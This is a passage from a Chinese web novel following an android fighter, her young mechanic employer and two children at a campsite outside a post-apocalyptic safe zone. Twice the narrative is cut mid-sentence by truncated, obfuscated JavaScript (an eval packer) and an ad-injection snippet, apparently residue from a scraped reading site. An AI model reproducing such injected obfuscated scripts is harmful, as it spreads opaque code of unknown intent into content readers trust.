他倒退两步,挥舞右手,大声叫道:“姐,那我去玩了!” 时却点头,拉上沈司奥搭帐篷。 时不时地,她回头关注细雨。次数积攒稍多,她留意到这一孩一狗竟开发出了个小游戏: 细雨盘腿坐在草地上,番茄甩着粉舌,绕着他不停地左右绕半圆;他笑嘻嘻地拧转身子,双手挥动,作势防守。 每跑上半圈,番茄便会找个时机,嗷嗷地像颗小炮弹般冲进他怀里,拱来拱去,再在静电作用下毛发凌乱地挣脱出来,摇头晃脑一番,再接再厉地转圈,寻找新一轮的“突击”时机。 如此重复,细雨并不见厌烦,反而相当乐在其中。 随着运动和笑,他的脸变得红扑扑的,透出基于年少而独有的蓬勃生命力。 这次,时却和沈司奥没选在靠近缓冲点边缘的位置扎营,三人一狗周围还有不少搭好了帐篷或正在搭帐篷的紫蝎。 可以想象出来,在紫蝎这类拿生命换金钱的家伙中,带妥妥屁用顶不上的仿生宠物来区外罕见,没事放它出来浪费电量罕见,前两者仍嫌不够,还找了个粉蝎让对方玩狗,更罕见。 众人纷纷看热闹。 比较客气的高声吐槽:“我X,蝴蝶你玩得真花!” 不客气的……嗯,也有。 真论起来,还比“蝴蝶花”那个吐槽者开腔得快。 不过这位刚起了个头,接着大概是想说带侮辱性的“小鸭子”三个字,“小”字喷出来了,“Y”的音才起,时却冷冷往对应方向横去一眼,那人立即被身边几个同伴七手八脚地捂嘴掀翻。 总之,稍显溃烂之态的伤口,及时剜去腐肉,伤药不停,余下的结果大多不会太坏。 在首个试图喷射恶意墨汁的家伙被捂嘴摁倒后,在场开口的人里,再没有不会读气氛的了。 有搭好了帐篷的紫蝎,边往嘴里丢零嘴,边懒洋洋地指点江山:“嘿,它要冲了,冲、冲了!哇,这都拦不住,小子,你行不行!” 另再有人嘘这紫蝎:“人家你情我愿的,凭什么轮到你这个胜负怪来叽歪?” 加上几个莫名其妙开始隔空对话的: “就这,这我也给小孩买过,两千八,不如去抢!” “上黑街啊,买二手,三四五六七八折,想要啥折的都有。” “放屁,三折的能要吗?狗嘴一张能发出来鸭叫!” 时却灌了满耳朵闲话,随口问沈司奥这是否是他给番茄设的游戏程序。 “顺手的事情,”沈司奥说,眼里盛满浅淡的笑意,“还在想你什么时候能挖掘到这块,结果被细雨捷足先登。” 帐篷搭毕,只剩最后一个动作,拉下两片门帘的之间的拉链。他举手准备去拉,时却恰好也想这么做。 二人离得位置有点远,时却索性两步并做一步跨近,朝沈司奥倾压过来,手臂擦过他的耳朵。 没有悬念,时却先沈司奥一步拉下拉链。 “哇,你闻着挺香,”她没有任何旖旎想法地感慨竖大拇指,“味道很可以。” 他们带的沐浴露和洗发水是散装的那种小包装,乱七八糟的什么香味都有。 时却的确是非常单纯地觉得,沈司奥今天用的这种很好闻。 沈司奥认认真真地回想了一下,说好像沐浴露是牛奶柑橘,洗发水是什么蓝莓奇异果。 给时却硬生生听得即渴又饿。 在耳边闹哄哄的声响里,在其中夹杂着的细雨的笑声和番茄奶声奶气的汪汪汪里,她甚至感觉今晚连冬风都是吹拂着的,柔和得要命,思维不由得渐渐发散: 嗯,那洗发水沐浴露的味道还很可爱,很适合未成年人…… 她嘴上没了把门的,反应过来时,“未成年人”四个字如同离膛弹,砰一下脱出口。 十分顺理成章地,她获得了一个在浅淡月光下,因略显恼羞成怒而耳朵发红的沈司奥。 他无语地瞪时却,强调:“法律规定十七岁成年。我成年了。” 时却认真听取,当耳旁风。 好的,未成年的沈老板,明面上暂时由你说了算。 ……当然了,想归想,求生动作还是要做的。她摸摸鼻子,顺势转移话题。 “该做我的常识播放器了吧,那个会飞的圆球。” 沈司奥翻白眼,翻完拿起背包,往外捡出各式各样的零件。 时却眼尖地瞧见其中有两个半圆形的壳体,知道自己稳了。 沈司奥将一件厚外套对折,铺在草地上,一屁股坐下,面前是个被人为挖出的浅坑洞。 这坑洞的底部铺满黑灰白相间的余烬,洞口周边有火燎痕迹。黑色是燃尽的树枝或树叶,灰白色是木炭烧后留下的灰。 这个被用来放置可燃物以取暖用的坑洞,时却猜要么是比蝎子早出发的蜜桃的人扎营时弄的,要么得更早,说不准什么时候,由哪个到区外讨生活的猎人挖的。 许多紫蝎的帐篷前均有这样的洞,又或者说,正因有这样的洞,他们才会选择当前的位置搭帐篷。 她和沈司奥的包里各装有一些无烟炭,量不多,这会的话,她估摸着大概够起一个供烤手的小取暖堆,用两个小时左右。 时却看一眼不远处玩得乐此不疲的细雨和番茄,征得沈司奥同意,生火点炭。 待火红的光若明若暗地照亮整个坑底,她扯嗓子问细雨玩累了没有,累的话可以和番茄回来休息。 她用的询问口气,细雨当成祈使句,立即抱上番茄往回走。 好消息是,他应当还算尽兴,带红晕的脸就不用说了,头和鼻尖还渗出细密的汗,汗水和坑洞里着透了的木炭似的,闪闪发亮。 时却翻出自己的睡袋给细雨当垫子,不耐烦再和细雨来回推拉,强摁他坐好。 沈司奥只干活不说话,时却看木炭堆半晌,问细雨是不是把这些小块块架起来会好点,有利于空气流通。 “会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有什么在时却的脑中一闪而过,速度太快,她一时没抓住。 细雨:“说起来,姐,我和流萤姐商量好了,后边恐怕要轮流麻烦你。” “那后天来,你有什么想做的事情?”时却下意识问。 三个人散步?去老金那打扑克?烧个烤?还让番茄和他玩? 总不能拿脑子里入伍新兵那些玩意,教小孩打枪吧。 细雨一愣。他有一搭没一搭地摸着怀里的番茄,抬头望望夜空,再低头回来看时却。 这个刹那,灵光再现,时却迅疾抓住它。 她记起来了,在流萤房间,她曾意外读过一本装订粗糙的小说册子。 那本小说册子的末尾,有两一蓝一黑两道笔迹。 她看向细雨,男孩没等她说话,自顾自地开口了,语调更轻,更飘,仿佛在描述某个极容易被从中唤醒的美梦: “姐,你喜欢看小说吗?我那有好多小说,后面我每次过来,就带一本,我们一起看,怎么样?” 时却从喉咙中挤出个啊的音节。 鬼使神差地,她进一步问,细雨准备带来些什么小说。 细雨捂嘴笑道:“罗曼蒂克那种类型哦,而且都是好结局。” 木炭堆里,忽然有火星爆起,伴随轻微的哔剥声响,炸开一小簇橘红光点。 这些橘红光点无序地散开、上升,迅速熄灭于冰冷的空气中。 时却还记得流萤房里那本小说册子的内容。 她不确定细雨指的好结局,是哪种意义上的好结局。 她竭尽所能地找话题,和细雨有一搭没一搭,继续聊了些闲话。 当晚十一点半,发白的木炭堆静静地堆在浅坑洞底,细雨恋恋不舍地告辞,说要回去了。 他走后,时却和沈司奥也准备休息。 帐篷外自然需要收拾。整理到坑洞附近,时却抄起工兵铲,轻轻地碰了一下那木炭堆,后者悄无声息地坍塌。 她倾斜铲子,如热刀切黄油般毫不费力地插/入那些发白的余烬中,手腕上挑,打算将其倒出坑洞外。 一阵急而冷的夜风吹过,铲上的灰白余烬全散了,飞扬得到处都是。 44. 平衡 次日清晨,也是上路第三天的伊始,时却在简单洗漱的沈司奥边上收拾东西。 一切准备就绪,快到蝎子的拔营时间,她想起昨天和蒋云霞约好次日继续合作,遂打开终端,和对方联系。 不巧,蒋云霞告诉她,自己三人小队中的两人昨晚出了点意外,全躺下了,今天无法与她合作狩猎。 时却考虑片刻,基于初步对蒋云霞小队还不错的印象,进一步关心那两人的情况。 蒋云霞发来语音,说清事情的前因后果。 由于队里有三人,加上还要守夜的缘故,他们晚上用来取暖的烤火堆需要架得比较大。 昨天傍晚,在到达缓冲点并处理好琐事后,三人选择挑了个处在缓冲点边缘的位置扎营,她队里的那对男女去到森林里,弄回了不少能充当柴火的树枝。 最初,没有任何问题,一如既往。以顺手捡的一点树叶为引火源,他们熟练地架起树枝,毫无疑问地点起一堆篝火,围坐在这温暖源边,十分有经验地随着时间流逝,往里头适量添柴。 就这么直到夜深,他们开始轮流守夜,三人之中的两人去同一个帐篷里睡觉,余下一人待在帐篷外烤火。 第一轮是那对男女中的女人守夜。蒋云霞入睡约两个小时,守夜的女人早于交接时间,提前进入帐篷,她和男队友被惊醒。 为不至于难以入睡,也不至于醒来时无法很好地适应有光亮的环境,他们的帐篷里散放着数根发亮的冷光棒。 “添柴的时候,有东西蛰我。找了一圈没找见。”那个女队友说。 她身形晃了晃,慢慢地蹲下,捡起根发白光的冷光棒,与自己的胳臂并排竖着,努嘴示意二人看。 幽幽光亮下,蒋云霞和男队友看到她小臂近手腕处肿起老大一个红包,约葡萄大小。 虽说作为缓冲点边界的防护圈多少能驱散昆虫类的小型变异动物,但也不是绝对的,蒋云霞和男队友没太在意,打着哈欠找出药箱里的抗过敏药膏,简单帮被蛰的女队友处理了。 管理局对这种区外偶尔会发生的事情发布过处理守则,大意是先涂覆抗过敏药膏,视情况看需不需要吃消炎药,再持续观察。 于是蒋云霞遵循守则的步骤,问那女队友有什么特别的感觉,后者说应该没什么大事,就是有点发晕,刚才进帐篷的时候还差点平地摔。 蒋云霞见她神志清醒,就把药箱收了起来。男队友和蒋云霞商量一番,决定蒋云霞陪着那女队友,他负责将帐篷外简单清理一遍。 蒋云霞一行人既带了杀虫剂,也带了杀虫粉。 他戴上手套把所有柴火喷上杀虫剂,隔着防护圈用力丢回森林中,问周边的其他紫蝎买了足够点到天明的炭用以取暖。 点着了炭,他在帐篷内外好一顿撒驱虫粉,并开着手电筒细细查看,确保不见任何蛇虫鼠蚁,才和蒋云霞打了招呼,接替女队友守夜。 过了十几分钟,女队友沉沉睡去,蒋云霞多守了她半小时,在几次确认她情况都正常的前提下,定下一小时后的闹钟,合眼休息。 半小时后,她再次被惊醒,这次边上站的是脸色难看的男队友。 历史重演。男队友抽着气拉开扎进靴子里的裤脚,他的左腿肚后侧赫然凸起半个桃子这么大的肿包。 除他的肿包比女队友的大些外,二人症状相似,都是头有点晕,走起道来差点平地摔。 蒋云霞叫醒女队友,确认她除稍显疲惫外仍正常,叫她和男队友两人互相照看,出帐篷外,向周边紫蝎一一问过去。 今夜无人与他们有相同经历。 毫无收获地回到帐篷,蒋云霞考虑再三,让被蛰的男队友和女队友休息,自己和他们一块待在帐篷里,但不睡,独自守夜。 邻近天明时分,这对男女均起了高热,她刚给人喂下退烧药,找蝎子说明情况。 “蝎子给我们找了几个车座位,”蒋云霞在语音里最后说,“先看看情况。” 时却听完,问边上旁听完全程的沈司奥,这种情况下,治疗装置能否起些作用。 “你问蛰的包还是高热?”沈司奥答,不等时却回话便摇摇头,“很不幸,都不行。” 他接着解释,不管治疗舱还是治疗仪,能治愈的内外伤,指的仅仅是因外力打击而造成的伤势。 时却发了句表达希望二人早点康复的消息,结束和蒋云霞的对话。 沈司奥摸出他的特制墨镜捏在手里,问:“看看今天狩猎什么。” 本来要和蒋云霞小队合作,时却就没想猎物的事情,蒋云霞那边自然会提出目标。 现在事情有了变动,时却只好如沈司奥所言,调出区外地图,研究他们今天该做什么。 视线划过今日会路过区域里的变异生物清单,时却几乎立即有了几个偏爱的备选项,均是会跑、体积大、威胁程度大,以及……血肉量较多的变异动物。 当意识到这点,她一个激灵,脊背爬上一股战栗。 啊,对了,有这回事的。前一晚主动参与的对抗变异狼群的事情,如她所想,部分地改变了她。 这些变异动物的名字,仿佛各个都带血腥气。 她光盯着这些字,就仿佛能看到它们在她刀下或枪下死亡的模样,听到它们临死前的悲鸣与嚎叫,嗅到它们身上因刀伤或枪伤而被激发出来的浓重铁锈味。 也许,如果要肉搏的话,她有力的十指还会擦过它们的膻腥皮毛,扼上它们的躯干或肢体。 战斗尚未开始,她已感到自己的机械心脏加快了泵动导液的速度,让其悄然而迅疾地流过周身,供养每一个亟待游走于生死之间的细胞,每一块鲜活有力的肌肉。 这具身体仿佛天生为战而生。她的头脑和身躯微微发热,不需任何热身运动,仅在脑内预想、预演,便满怀期待、颇为兴奋。 这种兴奋之情,和她击杀变异狼后所感受的如出一辙,但远远不及。不过,即使如此,也足够叫她不禁有几分留恋和沉迷了。 像有着噬甜基因的人,首次吃到合心意的甜食,总会希望再吃几回,再吃几回,永远也吃不够似的。 嗯,不过对她来说,上次吃到这份“甜食”,那得前天晚上的事情了。 大抵她的这趟旅途过于“充实”,流萤的请求、和蒋云霞的友好合作、晨晨的事情、细雨的事情……从前晚到今天,她没渴望过这种于生死一线上战斗的刺激感。 流萤的拥抱和笑容、蒋云霞小队作为普通猎人的处境、晨晨和花朵姐这俩姐弟那尚无从知晓真相、细雨的钢笔和他的爱好等,这些东西牢牢牵扯她的注意力。 她享受战斗,同时也好奇且贪婪地注视着这个世界所碰到的、所发生的一切。 目前看来,后者更……该怎么形容呢? “想什么想这么久?”沈司奥打断时却的思绪,端详她微微发怔的表情。 他抱起番茄放回摩托的后备箱,斜眼瞧她:“不打猎了?” 时却脱口而出:“打!” 她今天要爽个过瘾! 时却摩拳擦掌地从刚才一眼看到的几个备选里挑出一个,预备和沈司奥说个血肉横飞的狩猎方案,才刚起了个头,看沈司奥边听边点头,再掰开镜腿,戴上墨镜,遮住双眼,如一盆冷水兜头浇下。 想什么呢,这位可不禁摔打。她牙疼似的咧咧嘴,下意识说:“换一个,换一个。” 飞快找了找,时却纠正提议,说要不他们打变异鹿去。 沈司奥却不理她的新方案,若有所思地问她为什么改主意。 时却一噎。 为什么?那当然是因为你不能看…… 时却忽然出神,接上了被沈司奥方才打断的思绪。 她好像知道该怎么形容了。 ……对的,目前看来,游走在生死一线的战斗的确令她通体舒畅,她享受与变异生物的厮杀战斗,为游走在生死一线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈司奥见实在问不出什么,撇撇嘴,举双手作投降状,中止讨论。 * 当天,狩猎很顺利。 上午和下午,他们分别猎到了两只变异鹿,这两只变异鹿的鹿角各变异为猩猩一样的手,在鹿头顶上似有自我意思地招来摆去,让人极为掉理智。 狩猎时刻,时却站在沈司奥边上。她抬手,两只变异鹿均是一枪毙命。 有意料之中的事情发生:架枪时,瞄准时,听见枪响时,闻到硝烟时,她均感到不同程度的畅快与兴奋。 也确有一瞬间,她脑补如果自己暗暗地潜伏在草丛里,凝神屏息,伺机而动,可怖地跃出,跳到鹿尾上,再割喉,那当会更让人回味。 然后,脑补完了,她立即毫无留恋地将其抛之脑后,拉沈司奥跑向自己这两头猎物,把它们捆好带走。 摩托左挂一只摇晃的死鹿,右吊一只摇晃的死鹿,在死与死的平衡下嗡嗡嗡地开动,继续上路。 当天唯一的美中不足是,和昨日一样,蝎子通知的扎营地并非在缓冲点内,只有晚上在。 在13-4缓冲点内。 吃午饭时,时却和沈司奥听周围紫蝎闲聊,说明天的话,也即上路的第四天,中午和晚上的扎营地都不是缓冲点,他们得在森林里过夜了。 总之,这天的白天很快过去。 傍晚时分,时却收到三条消息,分别来自流萤、蒋云霞和壁虎。 流萤来约接她的时间的,说会带奇奇一块过来。 蒋云霞传递的是坏消息,她的男女队友高烧不退,肿包仅一天时间便化了脓,她正在想办法。他们之间的合作继续暂停。 壁虎的消息则更耐人寻味些,他说自己的陪练生病了,问时却想不想当几天他的陪练。有偿。 45. 月下 去兑换点卖今天猎物的路上,时却进一步问壁虎,得知他需要一个每天傍晚陪他作实战练习的人。 壁虎开的价码是,从明天开始,每次最长一小时,报酬一次五百,如果受伤,治疗费报销。 时却把这三个消息告诉沈司奥。两人商量了个大概后,她请蒋云霞和自己保持联系,并和流萤约好时间。 至于壁虎那边……和此前数次一样,沈司奥说他无所谓,她决定就行。 尽管因为晨晨的事情对壁虎有些微妙的不爽,但不爽归不爽,赚钱归赚钱。 陪练而已,不用动真格,能赚钱,还能减少带沈司奥到狩猎现场的机会,一箭双雕。她有把握隐藏好身份。 何况……说不定还能旁敲侧击到点晨晨的事情。 见老板没什么意见,时却和壁虎约好,后续几天,直至到达十二区为止,她和沈司奥会到指定的地点,她再当壁虎的陪练。 随即,二人赶到兑换处。 卖掉两头鹿后,加上前天卖的两条变异狼的钱,他们将每日任务量直接缴纳到了第六天,还有些零头余下来。 照例,这些钱被打进沈司奥的账户。 搞定终端的事情,时却和沈司奥去其他兑换处买足了今晚烤火需用的炭。做完这些事,时间仍尚早,他们到黑街去闲逛。 没逛多久,时却惊喜地发现,有个摊位竟卖上了零食,花花绿绿地摆在好几块防水布上,拿暖黄色的灯光一照,显得特别诱人。 她打算用自己身上的钱买些,等会招待流萤,低头还没掏出钞票,沈司奥干脆利落地扫码付完了账。 时却:感恩老板.gif。 她拎过摊主装好的零食,在刚照映起来不久的人造灯光中得了便宜还卖乖,笑眯眯道:“老板,钱存你那的是拿来缴我们的任务量,你主动付的这份,可得算你自己的啊。” 沈司奥斜她一眼,目光中透出“懒得理你”的意味。 月色渐浓,两人大包小包到集中休息处选位置扎好营。时却比昨日更熟稔地架好炭,掏出白天狩猎时顺手捡的一点干燥树叶作引,点火。 不时会刮起冷风的冰凉空气中,浅淡的白气从人的口鼻中散出,跃动的橘红火苗缓慢地舔上形状各异的木炭,很快再于这些被架起的黑块之间低矮下去,化为忽明忽暗的亮灼灼镶边。 沈司奥在烤火堆边找了个位置,掏出组装常识播放器所需的部件,零碎地铺于周身侧。 常识播放器——这个带翅膀的小圆球,经过他昨晚几个小时的组装,还未见雏形。 时却盘腿坐在他旁边,怀里赖着一只犯瞌睡的番茄,两手垫在小德牧软且暖和的肚子下边,安静地瞧沈司奥右手持一个半圆壳子,左手不断往里安装装密密麻麻的零件。 旁观年轻机械师组装东西的过程,其实还算解压。 或细小或大块、或奇形怪状或外形典型的各类零件,在他指间流水一样地划过,服帖地与其他结构天衣无缝地咬合、拼接在一起,仿佛天生就该如此。 时却脑子里没想什么事情,打算发呆,直到流萤过来。 这种状态结束于距离流萤过来还有大概十几分钟的时候。 两个紫蝎路过帐篷附近,大声谈笑刚找过的一个年轻粉蝎,言语之间充斥情/色意味,给时却乱七八糟地灌了一耳朵。 其实这很正常。理智这么告诉时却,哪个世界上都有烂人。 那二人远去后,她改换姿势,抱着番茄侧躺在草地上,手下有分寸地揉捏起睡得正熟的番茄。 后者吧唧吧唧嘴,短短的四肢胡乱划啦了几下,没醒。 沈司奥即没停下手里的活,也没转头。 “烦躁?”他问。 时却略带惊讶地看他的背。 沈司奥停下动作,伸手抽了几张纸,慢条斯理地擦指间暗沉黏腻的机油。 他平静地重复:“烦躁吗?” 时却从中嗅出一点特别的意味。她停止骚扰番茄,由它继续睡。 沈司奥撇头后转,话锋一转,问时却还记不记得出发那天。他提起被蜥蜴装进麻袋的那个人,说:“当时,你看那个麻袋的神情一直平静。” 时却不明白他为什么提这个,总不可能是想站在道德的高地指指点点。 ……是月色太好了吗? 摸摸番茄的耳朵,她谨慎地没接话。 沈司奥静静地看时却。 没办法,时却只得想了想,临时凑出个理由:“我毕竟认识了流萤和细雨。那两个紫蝎不讲好话,我这样,难道不正常?” “按常理,那个麻袋代表的意义更沉重。”沈司奥公允地指出。 他顿了一下,惟妙惟肖地模仿时却前几秒的句式:“那件事不是什么好事,你那样,正常?” 时却没见过他这副稍显执拗并多少有点咄咄逼人的模样,何况对象还是自己。 她感觉遭遇了一场精准的刻薄,牙痒,手更痒。 正待她考虑要不要干脆拿肢体语言说话,敲沈司奥几个暴栗,后者话锋一转,认真道:“别想动手,严肃点,我在说正事。” ……搞什么呢,太耍赖了。 时却哭笑不得,被他一推一拉,像个刚打入两口气立时被人戳漏的气球一样瘪下来,啥气都消没了。 她从侧躺的姿势改为平躺,双手张开,看满天星子遥远地悬挂在近乎墨色的天穹之上。 “老板,有什么直说。别当谜语人,我胳膊上要冒鸡皮疙瘩了。” 沈司奥推了一下眼镜道,镜片边缘闪过一点反光。 “我留意到,你对自己的认识似乎在变化,对他人的态度也是。” 时却:哦,原来是知心机械师深夜谈聊人生。 等半天等来个这么,考虑俩人大露天的,她含糊道:“人会变的。” 沈司奥说:“对你来说,我不清楚这是好事还是坏事。总之,如果有什么问题,可以和我说,我也许能帮到你。” 时却品出他的言外之意,转而却想……她不本来就是异常仿生人里的例外。 何况,她还有不少事瞒着沈司奥,她要说什么,就得先将那些事情交代清楚。 首先,沈司奥说安装了“入伍新兵”后,她信息界面的“机体状态”会从“尚可”变为“正常”,可至今她的信息界面显示还是“尚可(?)”。此外,“尚可”后面还带问号的事情,沈司奥也不知道。 其次,还有她有身体很大自主权限的事情,最后,是她的腿部离体却还有触感甚至可能可控的事情,等等。 时却知道沈司奥应该是好意。 基于以上种种,她决定记下今天听到的话,看情况行事,不打算完全当耳边风,也不打算全然不上心。 搭伙几天,她对沈司奥信任了些,愿意更照顾他,不代表她能敞露所有秘密。 时却给出半真半假的承诺。 “好,知道了。” 沈司奥看了她几秒钟,若无其事地扭回头,继续拼他的常识播放器。 时却合上眼,闭目养神。 数分钟过去,她听见两道脚步声,一道脚步声体重轻盈,一道脚步声四足,这两者目的鲜明地往她和沈司奥的帐篷这边来。 待这两道脚步声靠近了些,她翻身爬起,拍掉身上的尘土,朝不远处带着奇奇的流萤微笑:“晚上好。” 流萤穿了件棕色的厚外套,外套里边是身宽松的白色针织连衣裙,有些旧了,不过她穿起来仍然很好看。 这裙子长至她的小腿肚,裙边间隔印有鱼、波浪、鸟、白云。 月色如薄纱般轻柔笼罩着流萤,这个少女踩在因处在冬日而青黄相 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 间的草地上,雀跃地朝时却挥右手,双眼明亮,嘴角上扬。 “姐,晚上好!” 时却早给流萤铺好了垫子,用的还是她的睡袋。她示意流萤坐,流萤歪头便乐:“我也坐这个?” 一听就是细雨和她说过昨晚的经历了。 不像细雨那样想推拒,流萤大大方方地坐下,目光马上被时却边上的番茄抓走。她眼睛瞪得滚圆,顾忌番茄还在睡觉,压低声音。 “姐,你这个好可——” 还没说完,后半句破功,换为短促的惊叫。 “啊!” 咿呀—— 伴随一点机械结构之间因润滑较少而引发的滞涩声,奇奇带着它几乎摇出了残影的尾巴,径直跃到番茄边上。 它前身下压,翘起臀部,左摇右摆着尾巴,开心地去嗅闻番茄的屁股。 时却:“?” 沈司奥:“……” 流萤:“……” 看三只两脚兽纷纷呆滞,似乎没有阻拦的意思,奇奇从中备受鼓舞,极为兴奋地原地左突右进两下,紧跟在从关节处发出的略刺耳摩擦异响之后,发出嘹亮的嗷呜撒娇声。 奇奇低下头,嘴和鼻孔处喷出阵阵白气,用吻部疯狂地去拱番茄,不时还舔。 没几秒钟,熟睡的番茄硬生生地被拱醒。 它睁眼,见吵醒自己的不是两个主人其中任一,疑惑地发出呜呜叫,歪头瞅瞅时却,瞅瞅沈司奥,旋即起床气大发,朝近在咫尺的奇奇一顿乱吼,狂喷口水。 ……不过,配合它那仅有三个月大的小小身躯,完全没有任何杀伤力,反而因为奶凶奶凶的,而显得可爱加倍。 沈司奥扶额,流萤捂脸,时却直接笑喷。 乐归乐,就算看出奇奇只想和番茄玩,见番茄不太乐意,作为唯一具备战斗力的单位,时却很自觉地揽过“救场”的职责,弯腰一把捞起番茄,想着够不到奇奇该冷静些了吧。 结果她想错了。 ……甚至好像火上浇油,让情况白热化了。 豆丁小德牧番茄丝毫不觉自己气势甚弱,因好像得到主人的支持而更斗志盎然,短短的前肢巴住时却的胳臂,头朝外和下探,中气十足: “汪!汪汪!汪汪汪!” 这引得奇奇更人来疯,叫得也越发大声、嘹亮: “汪汪汪!汪汪汪!汪汪汪!” 奇奇尾巴摇得像螺旋桨,舌头大半吊在嘴外狂甩,脑袋乱晃,跟顶气球似的直顶时却的手,还借助后肢的有力支撑,几次站起来,拿前爪试图去扒拉她怀里的番茄。 时却乐极生悲。 她既看出奇奇在玩,不方便也不可能下重手,又要防止怀里的番茄不仅一怒之下怒了一下,还身体力行地爬出怀里来个信仰之跃,忙得要死。 这会还没到夜深的时候,基本没人休息。在不得不略显狼狈地左移右挪、疯狂走位闪避的过程中,时却很快绝望地留意到,她和两只狗子不仅迅速被围观了,还有不少人嘿嘿嘿地召出全息屏幕,开始录像。 ……神色有异的明明是流萤和沈司奥,为什么成为主要素材的竟然只有自己?! 在一片汪汪声中,她双手抄在番茄腋下,将其举高高,在头上胸下的汪汪夹击中,彻底无奈,朝场外喊救命。 流萤和沈司奥各有些尴尬,颇为心虚地彼此对视一眼。 沈司奥嘴角不住地抽动,飞快而小声地说:“我用的出厂设置,没调它对同类仿生宠物的友好度,你那边?” 流萤眼神游移,掩嘴低声回道:“细雨说番茄很可爱嘛,那双倍的快……呃,算了,不重要,总之我好像调过头了。” “别聊了!” 时却崩溃,抓狂地成为第三大噪音源,继大小德牧之后也嗷嗷直叫:“奇奇,它怎么还会直立跳啊!!!” 46. 蜇伤 兵荒马乱一阵,时却被成功解救。 “救援”所耗费的时间主要在于找命令码,沈司奥的反应不算慢,流萤如临大敌地在手链形状的终端里翻了半天,才终于在时却印上满身奇奇的爪印之前,找到那串念起来叽哩哇啦的字符。 ……总而言之,经过互为反向地调整友好度,两只狗子的状态正常不少。 番茄不再努力地汪汪叫,趴在时却怀里乖巧地往下望;奇奇脱离磕兴奋剂一样的状态,绕时却不急不缓地踱步,悠闲地摇尾巴。 时却慢慢放番茄下地。 一大一小两只德牧湿润鼻头上的鼻翼轻轻抽动,相互嗅闻,彼此缓慢靠近。 时却长松一口气,扫视周遭一眼,目光挪到哪里,哪里就有还想看热闹的家伙尬笑着退散。 三人重新围着炭堆坐下,时却坐在沈司奥和流萤之间。 奇奇和番茄发出呜呜咽咽的玩闹声音,很快到帐篷边上追逐嬉戏去了。时却两手一合抱,揽过几样零食放在流萤边上,示意她挑选。 流萤拿了袋薯片,撕开包装,夹上两片,嘴巴叼住,随后拿着薯片袋的手一偏。 时却接过薯片袋,两指探入其中,一合捏上好几片。她口中咔嚓咔嚓咀嚼着,转脸问沈司奥要不要吃。 沈司奥打一坐下便干起活了,手与零件的关系和磁铁与铁的关系没什么两样,基本可以看作牢牢粘在一块。 时却:有点子感觉催过他的自己其实是个黑心资本家。 ……咳咳,那怎么了,这附近没路灯,她根本不惧。 “来不来?”盘腿坐着的她倾斜上半身,“没手的话,我给你整点?” 老板毕竟花了钱的。 沈司奥睨她一眼,不客气地张口。 时却凭感觉抓了点,给他送到嘴边,自己再吃几片,将袋子给回流萤。她问流萤,陈老板是否有难为她或细雨,后者摇头说没有。 月光和人造光混杂着照在这位少女的身上,映衬得她年轻的面庞如经海水冲刷后的雪白贝壳般皎洁。 时却问流萤,今夜她想要做什么。 昨晚,番茄立大功,先和细雨玩你攻我守,然后被撸了挺久。不过今夜,它有了自己的交友安排,显然腾不出空。 时却搬出昨日脑内的预选项,排除番茄相关后,提议说如果流萤想的话,他们三个人可以离开这儿散会步,或去老金那打扑克,或到周边的紫蝎那现买点吃的,整个烧烤。 话刚说完,她后悔了,感觉这三项活动暗自想想没什么,一说出来,怎么听怎么无趣。 第一个选项,得打断沈司奥的工作。 经过一段时间的零件组装,这位机械师的双手沾满了黑亮黏腻、凑近了还能闻到诡异气味的机油,乍看之下很难洗。此外,他看上去仿佛进入了全神贯注的状态,这时候拉人去散步,多少有点缺德。 第二个选项,嗯,谁知道流萤想不想和只有一面之缘的老金相处呢。 第三个选项……和第一个一样,要么流萤得大晚上自己采买去,要么时却得随身携带沈司奥。 时却深刻反省,自己的嘴快过大脑。 见她略有些懊恼,流萤噗嗤一声,摆摆手:“姐,别纠结啦,你的脸快和调色盘差不多了。” 少女以手作梳划拉划拉下散落胸前的头发,打量打量时却,视线落在她腰间的一排武器上。 “姐,要不说说你们的事情吧,比如这几天的狩猎?” 时却爽快答应:“行,我想想该怎么说。” 她回顾从离开十三区以来打下的猎物:四脚鱼、变异狼,变异鹿。对四脚鱼的战斗,惊险刺激,不过主角怪物长相恶心;狩猎变异狼的过程,偏向血腥…… “讲讲今天的吧。”时却道。流萤调整坐姿,托腮侧对她,做好专注倾听的准备。 时却清清嗓子,组织语言,开讲。 她说,两人追踪了许久,方于冬日不带多少温度的日光下,在茂密树丛中见一群变异鹿簌簌跃出。 它们身形偏瘦,躯干上披覆棕褐色的短毛,四肢如纤长的枝杈,步履轻盈。走动之间,它们头上那些因变异而代替了鹿角的猩猩手臂,总有自我意识般地或握拳或摊掌,偶尔还去抓挠悬在半空中的树叶。 流萤感慨:“变异鹿是这样的呀。” 时却点头,她想着流萤应该没见过或听过这些事情,就讲得细了些。 “这种讲法怎么样?”时却多少有些忐忑地问自己的听众。 而流萤……她听到身边的女战士如此问,腾生出了些复杂而微妙的心绪。 她没见过变异鹿,但并非没听他人讲述过狩猎这种生物的过程。不过她听到的故事,更侧重于讲述者夸耀自身实力的部分。 讲述者总洋洋得意地拎出其中血肉横飞、腥气四溢的部分,喷着口水,绘声绘色地强调爆头、肢解、几乎要糊住人口鼻的铁锈味,甚至是凌辱性的虐待。 并且,这种讲述发生的地点从没让她感到安全和放心过,讲述者也不可能照顾她的感受。 以眼角的余光,流萤留意到,木炭堆里蹦出几点红亮的火星,它们迅速寂灭在了冰凉的空气里,如同这迟早要化为灰白粉末的木炭们。 可即便如此,至少这木炭堆现今仍炙热,源源不断地为她提供着令人闲适放松的暖意。 如此,她不由得随时却的讲述展开了想象: 